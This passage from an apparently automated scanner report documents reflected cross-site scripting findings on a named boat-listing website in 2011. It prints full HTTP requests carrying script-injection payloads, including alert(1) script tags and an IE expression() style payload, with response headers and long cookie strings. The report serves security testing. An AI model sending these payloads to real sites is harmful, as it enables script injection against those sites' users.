VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:54 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 10d9e"><script>alert(1)</script>8dd5d93dec8 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type10d9e"><script>alert(1)</script>8dd5d93dec8/builder/ HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:15 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 510ea"><a>6797f0627a5 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/builder510ea"><a>6797f0627a5/ HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:17 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 68bb9"><script>alert(1)</script>020a1d620ff was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/builder/model/United+States68bb9"><script>alert(1)</script>020a1d620ff HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:55:42 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.296. http://www.yachtworld.com/boats/category/type/builder/model/United+States [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.yachtworld.com
Path:
/boats/category/type/builder/model/United+States
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b3b56"style%3d"x%3aexpression(alert(1))"f62839a9767 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as b3b56"style="x:expression(alert(1))"f62839a9767 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /boats/category/type/builder/model/United+States?b3b56"style%3d"x%3aexpression(alert(1))"f62839a9767=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:09 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:07:16 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26141"><script>alert(1)</script>1024af23732 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/builder/model/United+States26141"><script>alert(1)</script>1024af23732/ HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; 